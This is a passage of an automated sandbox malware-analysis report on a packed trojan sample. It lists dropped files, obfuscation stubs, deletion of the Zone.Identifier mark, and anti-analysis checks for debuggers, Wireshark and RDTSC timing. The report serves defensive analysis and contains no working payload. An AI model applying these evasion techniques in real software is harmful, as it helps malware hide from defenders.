Source:	Binary string: WinTypes.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: rtworkq.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: ActionCenter.pdbASh source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: Windows.StateRepositoryClient.pdb source: WerFault.exe, 0000000A.00000003.747505561.000001EDC50FE000.00000004.00000001.sdmp
Source:	Binary string: rpcrt4.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: ExecModelProxy.pdbES source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: explorer.pdb source: WerFault.exe, 0000000A.00000003.725996524.000001EDC6DEA000.00000004.00000001.sdmp
Source:	Binary string: twinui.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: Windows.Internal.Shell.Broker.pdbf source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: NPSMDesktopProvider.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: MMDevAPI.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: Windows.UI.Immersive.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: WPDShServiceObj.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: userenv.pdb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: capauthz.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: CoreUIComponents.pdb source: WerFault.exe, 0000000A.00000003.747505561.000001EDC50FE000.00000004.00000001.sdmp
Source:	Binary string: hcproviders.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: nlaapi.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: setupapi.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: Wer.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: windows.ui.xaml.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: user32.pdb0 source: WerFault.exe, 0000000A.00000003.738993307.000001EDC6E48000.00000004.00000001.sdmp
Source:	Binary string: wincorlib.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: winhttp.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: ntlanman.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: mstsc.pdbGCTL source: AddInProcess32.exe, 00000001.00000002.724998329.0000000002D60000.00000040.00000001.sdmp
Source:	Binary string: IEProxy.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: devobj.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: gdi32full.pdb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: policymanager.pdb source: WerFault.exe, 0000000A.00000003.747505561.000001EDC50FE000.00000004.00000001.sdmp
Source:	Binary string: gdiplus.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: WPDShServiceObj.pdb&uX source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: RmClient.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: StructuredQuery.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: UserMgrProxy.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: d2d1.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: profapi.pdb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: PhotoMetadataHandler.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: SettingSyncPolicy.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: msvcp140.amd64.pdb source: WerFault.exe, 0000000A.00000003.747586781.000001EDC805E000.00000004.00000001.sdmp
Source:	Binary string: WLDP.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: msoshext.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: ES.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: \??\C:\Windows.pdb2R source: WerFault.exe, 0000000A.00000003.746829519.000001EDC4ED0000.00000004.00000001.sdmp
Source:	Binary string: TileDataRepository.pdb-S\| source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: fltLib.pdbm source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: Windows.ImmersiveShell.ServiceProvider.pdb source: WerFault.exe, 0000000A.00000003.747505561.000001EDC50FE000.00000004.00000001.sdmp
Source:	Binary string: framedynos.pdbt8 source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: npmproxy.pdb?jO source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: staterepository.core.pdb source: WerFault.exe, 0000000A.00000003.747505561.000001EDC50FE000.00000004.00000001.sdmp
Source:	Binary string: npmproxy.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: msxml6.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: wintrust.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: DataExchange.pdb9S@ source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: twinapi.pdb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: cryptngc.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: UIAnimation.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: DXP.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: ntdll.pdb source: WerFault.exe, 0000000A.00000003.740856862.000001EDC6DF0000.00000004.00000001.sdmp
Source:	Binary string: wtsapi32.pdb source: WerFault.exe, 0000000A.00000003.747282578.000001EDC50F8000.00000004.00000040.sdmp
Source:	Binary string: oleaut32.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: OneCoreUAPCommonProxyStub.pdb source: WerFault.exe, 0000000A.00000003.747505561.000001EDC50FE000.00000004.00000001.sdmp
Source:	Binary string: comctl32.pdb source: WerFault.exe, 0000000A.00000003.729628969.000001EDC6F2D000.00000004.00000001.sdmp
Source:	Binary string: crypt32.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: edputil.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp

Data Obfuscation:

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_088189F8 pushad ; retf	0_2_088189F9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_088189FA push eax; retf	0_2_08818A01
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_0041DD78 pushfd ; ret	1_2_0041DD79
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_004175C7 push ss; ret	1_2_004175C8
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_00414E16 pushfd ; retf	1_2_00414E1F
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_0041CEB5 push eax; ret	1_2_0041CF08
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_0041CF6C push eax; ret	1_2_0041CF72
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_0041CF02 push eax; ret	1_2_0041CF08
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_0041CF0B push eax; ret	1_2_0041CF72
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_0130D0D1 push ecx; ret	1_2_0130D0E4
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047CD0D1 push ecx; ret	6_2_047CD0E4
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0015DD78 pushfd ; ret	6_2_0015DD79
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_001575C7 push ss; ret	6_2_001575C8
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_00154E16 pushfd ; retf	6_2_00154E1F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0015CEB5 push eax; ret	6_2_0015CF08
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0015CF02 push eax; ret	6_2_0015CF08
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0015CF0B push eax; ret	6_2_0015CF72
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0015CF6C push eax; ret	6_2_0015CF72

Persistence and Installation Behavior:

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe

File created: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe

Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe

File opened: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe\:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Windows\explorer.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: SearchUI.exe, 00000016.00000003.853890231.000001B8E4627000.00000004.00000001.sdmp	Binary or memory string: {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\WINDOWS KITS\10\DEBUGGERS\X64\WINDBG.EXE
Source: SearchUI.exe, 00000016.00000003.853890231.000001B8E4627000.00000004.00000001.sdmp	Binary or memory string: {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\WINDOWS KITS\10\DEBUGGERS\X64\WINDBG.EXE@+K
Source: SearchUI.exe, 00000016.00000003.841016944.000001B8E4466000.00000004.00000001.sdmp	Binary or memory string: {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\WINDOWS KITS\10\DEBUGGERS\X64\WINDBG.EXE10747
Source: SearchUI.exe, 00000016.00000003.841016944.000001B8E4466000.00000004.00000001.sdmp	Binary or memory string: {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\WINDOWS KITS\10\DEBUGGERS\X86\WINDBG.EXE11798
Source: SearchUI.exe, 00000016.00000003.841016944.000001B8E4466000.00000004.00000001.sdmp	Binary or memory string: {6D809377-6AF0-444B-8957-A3773F02200E}\WIRESHARK\WIRESHARK.EXE8116
Source: SearchUI.exe, 00000016.00000003.853890231.000001B8E4627000.00000004.00000001.sdmp	Binary or memory string: {6D809377-6AF0-444B-8957-A3773F02200E}\SUPERANTISPYWARE\SUPERANTISPYWARE.EXE
Source: SearchUI.exe, 00000016.00000003.841016944.000001B8E4466000.00000004.00000001.sdmp	Binary or memory string: {6D809377-6AF0-444B-8957-A3773F02200E}\SUPERANTISPYWARE\SUPERANTISPYWARE.EXE10112

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	RDTSC instruction interceptor: First address: 00000000004098E4 second address: 00000000004098EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
